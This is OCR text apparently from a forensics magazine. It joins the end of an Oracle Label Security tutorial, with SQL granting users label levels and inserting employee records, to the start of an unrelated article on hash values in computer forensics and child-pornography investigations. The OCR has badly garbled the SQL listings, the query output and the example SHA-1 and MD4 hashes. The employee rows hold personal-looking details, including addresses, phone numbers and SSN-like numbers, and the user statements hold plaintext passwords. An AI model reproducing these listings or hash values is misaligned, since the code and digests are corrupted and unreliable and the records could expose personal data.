and granted all necessary privileges while adhering to MAC guidelines. The following two examples: one
for the chief pilot and the other for the line boy — illustrates this.

Chief Pilot Don:

CREATE USER DON IDENTIFIED BY Cessnal72N53371;
GRANT CREATE SESSION TO DON;
GRANT SELECT ON EMPLOYEE OLS TO DON;

Line Boy Rome:
CREATE USER ROME IDENTIFIED BY TailDragger000;

GRANT CREATE SESSION TO ROME;
GRANT SELECT ON EMPLOYEE OLS TO ROME;
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The remainder of the employees, the instructor pilots and the dispatcher are created and granted iden-
tical privileges.

ASSIGN MAC RIGHTS TO EMPLOYEES

This is the stage that we apply the policy to the subjects: the users. Executing the SA_USER_ADMIN.
SET_LEVELS command requires at least three parameters. First, the policy is named, then the user, and
then the level of sensitivity is assigned. The set levels procedure is capable of assigning a minimum and
a maximum level to user as well as identifying the users default values for the session and row labels
(Oracle® Label Security Administrator’s Guide 11g Release 1 (11.1) 2007).

Chief Pilot Don:
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘DON’, ‘CP’);
Assistant Chief Pilot Chris:
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘CHRIS’, ‘ACP’);
Dispatcher Ben:
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘BEN’, ‘Disp’);
Instructor Pilots Dan, Tom, and Jennifer:
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘DAN’, ‘Inst’);
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘TOM’, ‘Inst’);
EXECUTE SA USER ADMIN.SET LEVELS (‘OLS EMP POLICY’, ‘JENNIFER’, ‘Inst’);
Line Boy Rome:
EXECUTE SA USER ADMIN.SET LEVELS(‘OLS EMP POLICY’, ‘ROME’, ‘LB’);
APPLY OLS_EMP_POLICY POLICY TO EMPLOYEE_OLS TABLE
Label security policies can be applied to the appropriate tables utilizing either Oracle’s enterprise man-
ager or the command line interface for OLS. A caution here; once these policies have been enforced,
no information will be accessible until existing data has been assigned a recognized data label (Oracle.
(2007). Once the statement has been executed, the new security attribute “OLS_SEC” has been added
to the table. The appropriate syntax for the execution of the sa por1cy apmIN.aPPLY TABLE POLICY State-
ment is:
Sa Policy Admin.Apply Table Policy (
POLICY NAME => ‘OLS EMP POLICY’,
SCHEMA NAME => ‘db670c’,
TABLE NAME => ‘EMPLOYEE OLS’);

EXECUTE SA POLICY ADMIN.APPLY TABLE POLICY (‘OLS EMP POLICY’, ‘db670c’, ‘EMPLOYEE OLS’);

anonymous block completed
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Listing 2. CREATE Employee_OLS TABLE

CREATE TABLE EMPLOYEE OLS

(

EMP_ID VARCHAR2 (5) NOT NULL ,
EMP FIRST NAME VARCHAR2 (10) NULL ,
EMP LAST NAME VARCHAR2 (12) NULL ,
EMP STREET CHAR(28) NULL ,
EMP CITY VARCHAR2 (15) NULL ,
EMP STATE CHAR(2) NULL ,
EMP ZIP CHAR(10) NULL ,
EMP CERT NO VARCHAR2 (15) NULL ,
EMP MED CERT VARCHAR2 (10) NULL ,
EMP PHONE VARCHAR2 (15) NULL ,
EMP_CELL VARCHAR2 (15) NULL ,
EMP EMAIL VARCHAR2 (30) NULL ,
EMP_SSN VARCHAR2 (11) NULL ,
EMP_DOB DATE NULL ,
EMP_RATING VARCHAR2 (10) NULL ,
ROLE_ID CHAR (4) NULL ,
OLS_SEC NUMBER (10,0) NULL

)

INSERT RECORDS INTO EMPLOYEE_OLS TABLE

Now records are inserted into the Employee_OLS Table. Inserting records after the table has been cre-
ated and applied with the security attribute facilitates the process. Although OLS may be applied to any
existing table, modifying existing records with the appropriate security level entry is unnecessary, if ta-
bles are populated afterwards (Oracle, 2008). Please notice that the last attribute in the insert statement
is that which inserts the security level element (Listing 3).

Listing 3.
Insert into EMPLOYEE OLS wvalues (‘'E101’,’Don’,’Choen’,”2702 Galeshead Drive’,’Baltimore’,’MD’,”21229
‘,7807403886" ,'First’ ,"4105661868’,74104230990" ,’ donC@msn.com’ ,’374460076’ ,null,’CFII’,"RO0L", )

Insert into EMPLOYEE OLS wvalues (‘'E102’,’Chris’,’Doyle’,”9974 Foxborough Circle’,’Laurel’,’MD’,"20707
‘,1799042927" ' First’ ,"20261009337,74108237571" ,'ChrisD@verizon.net’,’213538619’ ,null,’CFII’

,"R002" ,410) ;
Insert into EMPLOYEE OLS values (‘'E109’,’Ben’,’Laroche’,’2001 Tiffany Terrace’,’Baltimore’,’MD’,’"21222
‘,’800517427" ,null,” 4102880052’ ,74104613707" ,’Ben Laroche@msn.com’,’20682960’ ,null,null,’R0O04", )

Insert into EMPLOYEE OLS wvalues (‘'E105",’Tom’,’Muther’,”P O BOX 1706’,’Columbia’,’MD’,"210
Y,717995969487 ,'First’,"4109978396’,73013303257" ,’ tmuther@msn.com’ ,’12860852’ ,null,’CFII’,'R

46
an
00

)37

’ )i

Insert into EMPLOYEE OLS values (‘ElO6’,’Dan’,’CaIOW’ 1070 Westfield Drive’,’'Millersville’,
"MD’,"21108 ‘,71799825138" ,'First’,"4103021345" ,74103792754" ,' DanC@gmail.com’,’509965281" ,null,’CFII
","R0O03", )

Insert into EMPLOYEE OLS values (‘E103’,’Jerr fer’,’Ryland’,’2 Alva Court’,’Ellicott City’,’MD’,’21043
‘,7799194858" ,"First’,’4107508056" ,72402946798" ,’ Jennifer RYLAND@msn.com’,”4385163’,null,’CFII’

,'RO027, )i

Insert into EMPLOYEE OLS values ('E110",’Ro
N’ ,’Columbia’,’MD’,’21045 Y,7801015018" ,null,

o’,"11961 CASTLE PINES
N ’_VL! 14 ’_v 5
209397 ,null,null, RO05",110);

1177" ,"Rome_Defalco@msn.com’,’25

rows inserted.
rows inserted.



rows inserted.
rows inserted.
rows inserted.
rows inserted.
rows inserted.

Utilizing a limited number of attributes in a select statement, verifies that the records loaded correcily,
and have been applied with the proper security levels.

Logging in as SYSTEM

Listing 4. Select on Employee_OLS TABLE

SELECT EMPilD AS “ID”,
EMPiFIRSTiNAME
| | \ \
|| EMP LAST NAME AS “Emplc Name”,
EMP STREET AS “Street”,
EMP CITY AS “City”,
EMP_ STATE AS “State”,
EMP ZIP AS “Zip Code”,
EMP_ PHONE AS “Home Phone”,
OLS_SEC
FROM EMPLOYEE OLS;
&l script output =
&+ & 5, Bl | Task completed in 0,006 seconds
o Euployee's Name Street City State Zip Code Home Phone 0L5_3EC
E10l Don Choen 2702 Galeshead Driwve Baltimore haie} 21229 4105661868 510
E10Z Chris Doyle 9974 Foxborough Circle Laurel Juin] 20707 2026100933 410
E10% EBen Laroche 2001 Tiffany Terrace Baltimore M 21222 4102580052 310
E105 Tom Muther P 0O BOX 1706 Columbia m 21044 4109978396 z10
Elogs Dan Calaow 1070 Westfield Driwve Millerswille M 21108 4103021345 210
E103 Jenmnifer Ryland 2 Alva Court Ellicott City M 21043 4107508056 Z10
E110 FRome Defalco 11961 CA3TLE PINES LN Columbia Junn] Z1045 4109929774 110

7 rows selected

Figure 1. Verifying records loaded correctly

EMPLOYEE’S TESTS ON EMPLOYEE_OLS TABLE

Listing 5. Chief Pilot Test (Don):

SELECT EMP_ID
EMP_FIRST NAME
| | \ \

|| EMP LAST NAME

EMP_STREET
EMP_CITY
EMP_STATE
EMP ZIP
EMP_PHONE
OLS_SEC

FROM EMPLOYEE OLS;

www.eForensicsMag.com
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AS “State”,

AS “Zip Code”,
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eFOPenS,lcs

a g azine

in Employee's Name Street

El0l Don Choen 2702 Galeshead Driwve
E102 Chris Doyle 9974 Foxborough Circle
E109 BEen Laroche 2001 Tiffany Terrace
El105 Tom Muther P 0O BOX 1706

Elnog Dan Calow 1070 Westfield Driwve
E103 Jemnifer Byland 2 Alwva Court

Rome Defalco 11961 CASTLE PINEZ LN

7 rows selected

Figure 2. Chief Pilot Test (Don)

Citcy 3tate Zip Code Home FPhone 0L%_SEC
Baltimore m z21zz9 4105661565 510
Laurel m 20707 2026100933 410
Baltimore M 2lzzz2 4102580052 310
Columbia M Zlods 4109975396 z10
Millerswille Junn] 21105 41030215345 z10
Ellicott City MD 21043 4107508056 z1n
Columbia M 21045 4109929774 110

Here, due to the fact that the chief pilot has been granted the highest security level in the table, he has

select access to every record.

Listing 6. Assistant Chief Pilot Test (Chris):

SELECT EMP_ID
EMP FIRST NAME
e
|| EMP LAST NAME
EMP_STREET
EMP CITY
EMP_STATE
EMP ZIP
EMP_PHONE
OLS_SEC

FROM EMPLOYEE OLS;

AS “ID”,

AS “Emplo
AS ‘St {
AS “City
AS “Ste
AS
AS

“Home Phone”,

[E script Output x

#oBEE

Task completed in 0.005 seconds

In Enployee's Name Street

Chris Doyle
Een Laroche

9974 Foxborough Circle
2001 Tiffany Terrace

El105 Tom Muther P 0 BOX 17086
Eloa Dan Calow 1070 Westfield Driwve
E103 Jennifer Ryland 2 Alwa Court

Rome Defalcao 11961 CASTLE PINES LN

6 rows selected

Figure 3. Assistant Chief Pilot Test (Chris)

City State Zip Code Howme Phone 0L3_SEC
Laurel M 20707 Z0Z6100933 410
Baltimore M 21222 4102650052 310
Columbia M 21046 4109975396 210
Millerswille M 21108 4103021545 210
Ellicott City M 21043 4107508056 210
Columbia M 21045 4109929774 110

Here, the assistant chief pilot can see his records, the dispatcher’s record, the flight instructor’s re-
cords, and the line boy’s record. However, the chief pilot’s record is discreetly not viewable.

Listing 7. Instructor Test (Jennifer):

SELECT EMP_ID
EMP FIRST NAME
e
|| EMP LAST NAME
EMP_STREET
EMP _CITY
EMP_STATE
EMP ZIP
EMP_PHONE
OLS_SEC

FROM EMPLOYEE OLS;

AS “1D”,
AS “Emplo ,
AS “Street”,

AS

“Home Phone”,



[Elseript output x
f & .E, E| Task completed in 0 seconds

Figure 4. Instructor Test (Jennifer)

Home FPhone

4109973396
4103021345
4107508056
4109929774

0LS_SEC

In Enployee's Name Street City State Zip Code
E105 Tom Muther P 0 EOX 1706 Columbia M 21046
El06 Dan Calow 1070 Weatfield Driwve Millerawille ain} 21106
E103 Jemnifer Byland 2 Alwva Court Ellicott City M 21043
Ell0 FRome Defalco 11961 CASTLE PINES LN Columbia M 21045

Here, Jennifer being an instructor pilot has select access to her record, the other instructor pilot’s re-

cords, and the line boy’s record.

Listing 8. Line Boy Test (Rome):

SELECT EMP_ID AS “ID”,
EMP_FIRST NAME
| | \ \

|| EMP_LAST NAME AS “Employee’s Name”,
EMP STREET AS “Street”,

EMP CITY ity”,

EMP_ STATE AS “State”,

EMP ZIP AS “Zip Code”,

EMP_ PHONE AS “Home Phone”,
OLS_SEC

FROM EMPLOYEE OLS;

| & sript Output X
i 3 & E, E| Task completed in 0.004 seconds

In Enployes's Name Street City State Zip Code

El1l0 Fome Defalco 11961 CASTLE PINES LN Columbia M 21045

Figure 5. Line Boy Test (Rome)

Here, the Line boy Rome is only capable of viewing his own record.

IN SUMMARY

Home Phone

0L5_SEC

4109929774

Within the 21st century, we have witnessed a tectonic shift in how personal privacy, wealth, and trust
are violated. Cyber criminals have infiltrated all aspects of society’s newest infrastructure: the informa-
tion technology grid. This paradigm of cybernetic treachery has ceased to be relegated to a mere future
concern. Rather, it resonates in present day informational chords, which rhythmically — hopefully uninter-
ruptedly — vibrate melodically, producing the digital harmonics of our increasingly technology driven lives.
Although any discords sounded from the misplaying of these informational notes produce a disharmony
in our lives, assuredly it is the unwanted plucking of our repository chords — our databases — which pro-

duce the gravest dissonance, and the gravest consequence.
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Although a DBA is answerable from database design, through systems management tasks, it is within

the realm of database security that the most fiduciary responsibilities lie. To facilitate this responsibility,
Oracle has provided a multiuser, multi-granular security protocol which answers today’s security needs,
and has a watchful eye towards tomorrow’s security threats. This protocol is OLS. Oracle, through an
evolutionary process, admittedly by standing on the shoulders of giants, has produced the premier secu-
rity application for databases which is currently available. With Oracle’s legendary robustness, coupled
with OLS’s selectivity of access controls, combined with a transparency to users, augmented with OPM’s
GUI utility, OLS brings a standard of database security features that represents a tour de force, which is
unrivaled within our proto-digital database discipline.

TECHNICAL TERMS

Bell-LaPadule: Their seminal work secure computer systems: mathematical foundations investigat-
ed solutions to security computer systems reflected in a mathematical model. Their research bridges
the gap between “general systems theory and practical problem-solving” (Bell, & LaPadula, 1973).
Oracle’s Virtual Private Database: Oracle virtual private database provides the DBA with the ability
to create security policies that are granular at the row and column level. Essentially it alters a select
statement with a where clause when issued against a protected table. (Oracle® Database Security
Guide 11g Release 1 (11.1), 2012).

Data Compartmentalization: Data Compartmentalization consists of classifying data elements,
whose access is then controlled based on a parallel classification structure for users (ExpertGlossa-
ry, 2012).

Project Oracle: Although founded in August 1977 by Larry Ellison, Bob Miner, Ed Oates and Bruce
Scott, Oracle was originally named after “Project Oracle”. This was a covert project they were work-
ing on for one of their customers, the C.I.A., and the firm that developed Oracle was christened Sys-
tems Development Labs, or SDL (Burleson Consulting, 2012).

Oracle Policy Manager: Oracle Policy Manager is essentially an extension of Oracle Enterprise Man-
ager. It provides a representative screenshot that displays the Oracle policy manager’s interface and
current security level settings (Oracle® Label Security Administrator’s Guide 10g Release 1 (10.2),
2006).

Default Policy Options: Default policy options are enforced after the policy is applied. This can be
done utilizing OPM or the command line statement SA_SYSDBA.CREATE_POLICY (Oracle® Label
Security Administrator’s Guide 11g Release 1 (11.1), 2007).

Data Compartmentalization: Data compartmentalization is the process of “dividing data into isolated
blocks for the purpose of reducing risk” (ExpertGlossary, 2012).

Mandatory Access Control: Mandatory access control is based on the security paradigm of domi-
nance, and is accomplished through the use of security labels (IBM, 2012).
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COMPUTER
FORENSICS: IMAGES
AND INTEGRITY

by Frederick S. Lane

There are few concepts more important to the field of computer
forensics than cryptographic hash values. Understanding what
they are, how they are calculated, and how they are used by law
enforcement is a critical part of effectively defending a criminal
case that involves digital evidence. Hash values can be powerful
evidence, but increasingly, serious questions are being raised
about their use in child pornography investigations.

What you will learn:

* What hash values are, and how
they are calculated

* The role of hash values in comput-
er forensics

« The growing use of hash values to
flag online files

* The role of hash values in peer-to-
peer investigations

What you should know:

« General investigative procedures
for child pornography crimes

» The basics of Internet communica-
tion tools and file transmission

* The basics of defending a child
pornography case

T he field of computer forensics, and increasingly, the battle against child
pornography, relies on a type of mathematical formula known as a cryp-
tographic hash function.

A hash function is an algorithm (a mathematical calculation) that is used
to take data and convert it to data of a shorter, fixed length. The output of a
hash function is referred to as a hash value, a hash sum, or typically, simply
a hash. One of the primary advantages of processing data through a hash
function is that searching and sorting a table of hash values that point to spe-
cific entries in a data set is typically much faster than searching or sorting the
original data set itself.

A cryptographic hash function is a more sophisticated algorithm, one that is
designed to meet the following four criteria:

+ ltis relatively easy to generate a hash value using a given data set;

« It is extremely difficult to derive the original data set from a particular
hash value;

« It is extremely difficult to change the original data set without changing
the resulting hash value; and

+ It is extremely unlikely that two or more data sets will produce the same
hash value.
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In the context of computer forensics, a cryptographic hash value serves two main purposes: 1) as a
highly-reliable means of demonstrating that two or more pieces of electronic data (files, folders, hard
drives, efc.) are identical; and 2) as means of quickly searching large quantities of files for items of po-
tential interest. Both of those purposes will be discussed in more detail below.

With one exception discussed later, cryptographic hash functions are publicly available and can be
implemented by anyone. This makes it possible for computer forensic examiners to cross-check each
other’s work, since a given file should produce the same hash value when processed through the same
cryptographic hash function.

Although the specific mathematical processes underlying each type of algorithm are different, the gen-
eral operation is the same. A cryptographic hash function breaks a file into manageable blocks and per-
forms a complicated mathematical operation on each block. Once all of the segments of the file, folder,
or hard drive have been processed through the hash function, a hash value is produced that consists
of a string of hexadecimal values. For instance, the SHA-1 hash value of a text file containing the word
“‘dog” is:

€49512524f47b4138d850c9d9d85972927281da0
By contrast, the hash value for a text file containing my name (“Frederick Lane”) is:
c0233e5407ac935144b623£3790e666e10c096ce

The length of the original text file or the size of an image does not matter. The SHA-1 cryptographic
hash function produces the same length hash value regardless of whether the file in question is a single
word (“dog”) or War and Peace. However, if a single character of the file is changed, then the hash value
will change. For instance, the SHA-1 hash value of the word “cog” is:

d3da816674b638d05caa672£60£381££504e578¢

One important thing to note about cryptographic hash functions is that they only operate on the con-
tents of a computer file, not the name. Thus, assuming that the contents of a child pornography photo
have not been changed, the photo will produce the same hash value regardless of what the photo is ac-
tually named. As we’ll see, this is one of the key tools used by law enforcement to detect child pornogra-
phy on peer-to-peer networks and in the cloud.

LEADING TYPES OF CRYPTOGRAPHIC HASH FUNCTIONS

There are a couple of dozen different cryptographic hash functions, each with its own mathematical
strengths and weaknesses. The most commonly-used functions, however, and the ones most likely to
show up in law enforcement forensics reports are SHA-1 and MDA5. In addition to those purely mathe-
matical hash functions, Microsoft has developed and deployed a new type of hash known as PhotoDNA
which has attracted the attention of leading social networks like Facebook and Twitter.

SHA-1

SHA-1 is a cryptographic hash function developed in 1995 by the U.S. National Institute of Standards
and Technology (NIST). It is in the process of being superseded by more sophisticated versions known
as SHA-2 and SHA-3.

The SHA-1 cryptographic hash function is used by the Gnutella network, a peer-to-peer (P2P) network
used for distributing files to software clients like Limewire, Shareaza, and Frostwire. P2P networks are
discussed in more detail below.

The hash values produced by the SHA-1 cryptographic hash function are 40 characters long.

MD4/MD5

The MD4 cryptographic hash function was developed in 1990 by Professor Ronald Rivest, a cryptogra-
pher and computer scientist at the Massachusetts Institute of Technology. He released an updated ver-
sion of the algorithm in 1991, called MD5. The acronym stands for “Message Digest,” another way of
describing the hash value that is produced by the algorithm.
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The MD4 function is used by the P2P network eDonkey, one of the leading competitors to the Gnutella
network. Popular client software for the eDonkey network includes eDonkey2000, eMule, and Shareaza.

The hash values produced by MD4 and MD5 are 32-character hexadecimal strings. The MD4 hash of
the word “dog” is:

7aad02b0f13£7827362b6c98e8873b4d
while the MD4 hash of the word “cog” is:

dlble5belabl94373038d8562e5dd393

PHOTODNA

In 2009, computer software giant Microsoft collaborated with computer scientists at Dartmouth College to
develop hashing software known as PhotoDNA. Unlike traditional cryptographic hash functions, which are
designed to work on any type of electronic data, PhotoDNA is specifically designed to hash digital images.

According to a poster released by Microsoft, PhotoDNA works as follows:

* Animage (preferably one of a known victim of sexual assault) is converted to black-and-white;

* Thefile is then resized to a standard dimension and divided into a grid of multiple blocks;

» Within each block, the PhotoDNA calculates a histogram of intensity gradients, or edges (essential-
ly, the software creates a bar chart for each block that shows the distribution of light and dark pixels
within that block);

* Using a proprietary process, PhotoDNA creates a hash value for the photo based on the cumulative
histogram information.

There is a variety of information about PhotoDNA available from Microsoft in its PhotoDNA pressroom:
http://www.microsoft.com/en-us/news/presskits/photodna.

Microsoft claims that this approach to hashing is superior to other types of hash functions, in that it
enables investigators to find images that have been resized or altered, but are still similar to each other.
Other types of cryptographic hash functions can only identify files or images that are exactly identical to
each other in size and content.

Since its introduction, PhotoDNA has been adopted and implemented by a variety of social media
networks, including Facebook and Twitter. As we’ll see in more detail below, these companies compute
hash values for content that is uploaded to their sites, and then compare those hash values against a list
of values for known child pornography. When a match occurs, federal authorities are notified.

Microsoft has also donated the PhotoDNA software to the National Center for Missing and Exploited
Children (NCMEC), which also maintains an extensive database of cryptographic hash values of child
pornography images depicting known sexual assault victims.

THE ROLE OF HASH VALUES IN COMPUTER FORENSICS

It is fair to say that without cryptographic hash functions, the investigation of cybercrimes (and in particu-
lar, child pornography) would essentially be impossible. Given the vast quantities of files on the Internet
and the speed with which they can be distributed, some level of automation is required in order to ex-
amine even a fraction of the potentially illegal images and videos. More importantly, hash values play a
critical role in ensuring that digital investigations conducted by law enforcement are conducted properly
and that the results of those investigations can be reproduced.

RELIABILITY OF LAW ENFORCEMENT DIGITAL INVESTIGATIONS

FIELD PREVIEWS
When law enforcement officers seize electronic evidence from a child pornography suspect pursuant
to a search warrant, the first thing they typically do is conduct a preliminary field examination to deter-
mine whether the primary evidence — usually a desktop or laptop computer — contains possible con-
traband images.
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A common scenario arises when a search warrant is issued that authorizes law enforcement officers
to seize:

Any computer, computer system and related peripherals, tapes, cassettes, cartridges, streaming
tape, commercial software and hardware, computer disks, disk drives, monitors, computer printers,
modems, tape drives, disk application programs, data disks, system disk operating systems, magnetic
media floppy disks, hardware and software operating manuals, tape systems and hard drive and other
computer-related operation equipment1 cellular phones, digital cameras, video cameras, scanners,
computer photographs, graphic interchange formats and/or photographs, undeveloped photographic
film, slides, and. other visual depictions of such Graphic Interchange formats (including, but not limited
to, JPG, GIF, TIF, AVI, and MPEQ), and any electronic data storage devices including, but not limited
to, hardware, software, diskettes, backup tapes, CD-ROM'’s, DVD'’s, flash memory devices, and other
storage mediums; any input/output peripheral devices, including but not limited to passwords, data se-
curity devices and related documentation, and any hardware/software manuals related to or used to
visually depict child pornography or child erotica; contain information pertaining to the interest in child
pornography; and/or distribute, receive, or possess child pornography, and child erotica or information
pertaining to an interest in child pornography, child erotica or information pertaining to an interest in
child pornography or child erotica;

(Law enforcement affidavits actually offer a good overview of the history of digital technology.)

When police enter a home during a child pornography investigation, a particular user is generally the
target. If he (or rarely, she) has a spouse or children, forensic investigators will conduct a field preview of
their devices to make sure that no child pornography is present.

As a general rule, field previews do not involve the use of hash values, since the process of hashing
image files or videos found on a suspect’s computer is too time-consuming. Instead, those previews typi-
cally involve key word searches for suspect file names and/or a quick visual review of the photos and vid-
eos on the computer. There are a number of different software products that have been developed that
allow law enforcement officers to conduct a preliminary evaluation of evidence in a relatively short time.

If nothing pops up, the device in question probably won’t be seized.

MIRROR IMAGES

For more thorough investigations into possible possession, receipt, distribution, and/or production of
child pornography, it is typically necessary for law enforcement to take digital evidence back to a foren-
sics lab. This is where hash values play a central role as a check on the handling of digital evidence.

The receipt of electronic evidence into a law enforcement computer forensics lab is known as acquisi-
tion, and the process should be documented in an acquisition report. The technician processing the evi-
dence will assign each device with an evidence number, list the device’s serial number, and where nec-
essary, remove internal components that are evidence objects in their own right (for instance, extracting
hard drives from a desktop computer, or a memory card from a digital camera). Once the list of evidence
items has been compiled, the technician will then typically photograph each item and the item’s serial
number label/plate.

If a device is capable of storing electronic data, the technician will calculate an acquisition hash prior
to conducting any investigation. The device in question is attached to the technician’s computer using
write-blocking technology (which prevents the technician’s computer from making any changes in the
device). A forensics software program then reads the electronic evidence and typically calculates both a
SHA-1 and MD5 hash for the entire device (every sector on a hard drive, for instance, or on a USB stick).

Before doing any investigation on an evidentiary device, the technician uses his or her forensic soft-
ware to make a mirror image of the device in question. A mirror image is an exact copy of every sector
on the device, from beginning to end. To verify that the original and copy are the same, the technician
will calculate SHA-1 and MD5 hashes for the copy and compare them to the original. If they match, the
technician (and defense counsel) can be confident that the two are identical down to the last sector.
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Once the mirror image has been successfully made, the original evidence device is logged and stored
in a secure place. Increasingly, law enforcement agencies are storing their mirror images of electronic
evidence on secure networks that allow state-wide or jurisdiction-wide access to case evidence.

Unlike paper copies, the use of SHA-1 and MD5 hashes makes it possible to create multiple iterations of
an evidence device without any loss of integrity, even when copying from a copy. As long as the hash val-
ues of the latest mirror image match the original acquisition hash, the contents can assumed to be identical.

USING HASH VALUES TO FILTER AND FIND FILES
The second chief use of hash values in the computer forensics lab is to speed up the evaluation of elec-
tronic evidence and to narrow down the potential grounds for prosecution.

THE KNOWN FILE FILTER

One of the most widely-used computer forensic software suites, Forensic Tool Kit (FTK), offers investi-
gators a utility called the Known File Filter, or KFF. The KFF consists of a large database of hash values
for both “good” and “bad” files.

“Good” files generally consist of those belonging to widely-used and commercially available software
programs, like Microsoft Word, Google Chrome, efc.

“Bad” files, on the other hand, are files that have been linked to one or more types of criminal activity,
such as malware (viruses, Trojan horses, worms, efc.) or child pornography.

Once a mirror image has been acquired and verified as a true copy of the original, a computer foren-
sics examiner can compile the hash values of every file in an evidence object. Those hash values then
can be compared against the KFF, which will eliminate “good” files from further evaluation and highlight
“bad” files for additional investigation.

The KFF utility relies on a now-possibly defunct database called Hashkeeper, which consists of hash
values compiled and submitted by law enforcement officers around the country. There is a competing da-
tabase known as the National Software Reference Library, which is maintained by the National Institute
of Technology and Standards.

NATIONAL CENTER FOR MISSING AND EXPLOITED CHILDREN DATABASE

The National Center for Missing and Exploited Children (NCMEC) was established by Congress in 1984.
It is a private, non-profit organization that among other things, is charged with serving as a clearinghouse
of information to raise public awareness about and combat child pornography.

As part of that effort, NCMEC maintains a database of SHA-1 hash values of images and videos of
“known child pornography.” The phrase “known child pornography” means that the image or video in
question has been linked, typically through a criminal prosecution, to a known, identifiable victim of
sexual abuse. The database is part of NCMEC’s Child Victim Identification Program, a 2002 initiative
launched to aid law enforcement and to assist in the identification and rescue of previously-unknown
child victims.

When law enforcement officers discover possible child pornography, either as a result of a KFF notifica-
tion or visual observation, they calculate both a SHA-1 and MD5 hash value for that file. The SHA-1 hash
values are cross-checked against the NCMEC database to determine if the image depicts a known victim.

In Ashcroft v. Free Speech Coalition, 535 U.S. 234 (2002), the U.S. Supreme Court struck down two
provisions of the Child Pornography Prevention Act of 1996, one that prohibited so-called “virtual child
pornography,” and one that prohibited any sexual image being marketed in such a way as to give the im-
pression that a minor was depicted engaging in sexually explicit conduct.

As a result, prosecutors prefer to base their charging documents on images that depict known victims,
based on matches between seized images and the NCMEC database. Doing so eliminates any argu-
ment that the image in question is computer-generated, or is a morphed image of a child’s head on a
nude adult body.



If there is no match, then prosecutors will typically choose one or more of the most egregious examples
found on the defendant’s device, where there is little or no question that the image depicts a minor en-
gaged in sexually explicit activity.

THE GROWING USE OF HASH FLAGS

Increasingly, file uploads and transmissions by computer users are being automatically checked against
the growing national (and international) databases of known child pornography files. An increasing num-
ber of prosecutions arise out of this type of CP detection.

In the Child Protection and Sexual Predator Act of 1998, Congress imposed a requirement on Infernet
Service Providers (ISPs) to report the presence of possible child pornography to NCMEC. Any ISP that
failed to do so could be fined. However, the statute, then codified at 42 U.S.C. § 13032 (since repealed),
did not impose an affirmative duty to scan for possible contraband.

In the summer 2008, following an eight-month online child pornography investigation by then-NY At-
torney General Andrew Cuomo, Internet service providers like America Online, Netzero, Verizon, Time
Warner, and Sprint agreed to voluntarily block access to contraband materials. The ISPs agreed to block
access to newsgroups and Web sites trafficking in child pornography, and to use the NCMEC hash da-
tabase to scan uploaded content.

That same year, Congress adopted the SAFE Act, which repealed 42 U.S.C. § 13032 and replaced it
with 18 U.S.C. § 2258A. While the new law also did not impose an affirmative duty to scan content, it did
impose an obligation to not only notify NCMEC but also to turn over subscriber information to law en-
forcement without the issuance of a warrant. This approach required a substantial revision to the Elec-
tronic Communication Privacy Act, 18 U.S.C. § 2702, which previous prohibited such disclosures of sub-
scriber or user information.

The language of § 2258A also encompasses online service providers like Facebook, Twitter, Insta-
gram, Google, Microsoft Bing, efc., as well as even new cloud storage services like Dropbox, Box,
iCloud, Mozy, and SugarSync.

What makes the latter interesting is that most advertise encrypted storage of user content. However,
the terms of service make clear that under appropriate circumstances, the keys to decrypt a specific us-
er’s content will be turned over to law enforcement.

P2P INVESTIGATIONS USING HASH VALUES

One of the leading sources of child pornography prosecutions are law enforcement investigations of ac-
tivity on peer-to-peer (P2P) networks. In recent months, however, some serious questions have been
raised about the data collection methods used by officers to identify possible suspects. Many of those
questions center around a somewhat shadowy Florida corporation that has developed software de-
signed to automate P2P searches for child pornography.

BASIC OPERATION OF PEER-TO-PEER NETWORKS

During the early days of the computer industry, the distribution of information was dominated by the still-
popular client-server model. A central server stored information, which was requested and distributed to
individual clients (either workstations or personal computers) upon request. In this approach, client com-
puters could not speak directly to each other, but had to do so through a server.

With the popularization of the Internet in 1993-94, it became possible to create a new type distribution
architecture, called peer-to-peer. The concept underlying P2P is that each computer on the P2P network
can operate both as a client (i.e., a requestor of information) and as a server (i.e., a distributor of informa-
tion). The first widely-popular example of this concept was the music-sharing service Napster, although
it crashed on the legal shoals of copyright due to a critical design flaw (the service maintained a central
repository of copies of the music being shared by its users).

The two most popular P2P networks today are Gnutella and eDonkey, and they work in roughly simi-
lar ways. Users download client software designed to connect to one or the other network; for instance,
Limewire, Frostwire, and Shareaza are designed to share files over the Gnutella network, while eMule
and a different version of Shareaza are designed for eDonkey.
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After a user installs the client software, he or she can search for files being shared by other users of
the P2P network. There are a lot of technical issues that arise with respect to P2P searching, download-
ing, and sharing, but for the purposes this lecture, the key issue is the role of hash values. Cryptographic
hash values are integral to the operation of P2P networks. Both Gnutella (which uses SHA-1) and eDon-
key (which uses MD4, the precursor to MD5), use the hash values to verify that multiple versions of a file
are in fact identical. By doing so, the P2P networks make it possible for a user to download pieces of a
particular file from multiple locations, since the network has a very high degree of confidence that each
location is offering exactly the same file.

When a user sees a file name of interest and initiates the download process, the first thing the client
software does is to record the hash value of the complete file on the user’s computer. As the pieces of the
requested file are downloaded, they are stored in a temporary folder, usually called “Incomplete.” Once
all of the pieces of the file have been downloaded and compiled, the client software then calculates the
cryptographic hash value of the file and compares it to the original hash value; assuming a match, the
default behavior is for the file to move to the “Shared” directory, where it is available for downloading by
others on the same P2P network. (A user can change the location of where files are stored when they
are successfully downloaded, and whether those files are in fact re-shared.)

AUTOMATING THE SEARCH PROCESS

It didn’t take law enforcement long to realized that contraband images were being shared on P2P net-
works, and that they could conduct their own searches for downloaders and distributors of CP. If they
identified a CP image, they then could view the IP address of each person offering to share that file, and
use the IP address to determine the subscriber and real-world location of the device in question.

Given the number of P2P network users (at its height, Limewire alone had over 40 million users) and
the volume on content available, this was obviously a time-consuming process. So not surprisingly,
someone decided to try to assist law enforcement by automating the search for child pornography dis-
tributors on P2P networks.

That someone was a man named William Wiltse. In 2008, Wiltse and Flint Waters, a special agent with
the Wyoming Internet Crimes Against Children task force, collaborated on a program called Peer Spec-
tre. That same summer, Wiltse conducted a seminar at the 2008 Crimes Against Children Conference
in Dallas, TX, in which he promised to educate attendees on “how high numbers of leads are currently
being generated in P2P undercover operations using ‘Peer Spectre’. Investigators will then learn how to
use the automated tool ‘GnuWatch’ to download leads in their own jurisdiction and establish probable
cause with minimal effort.”

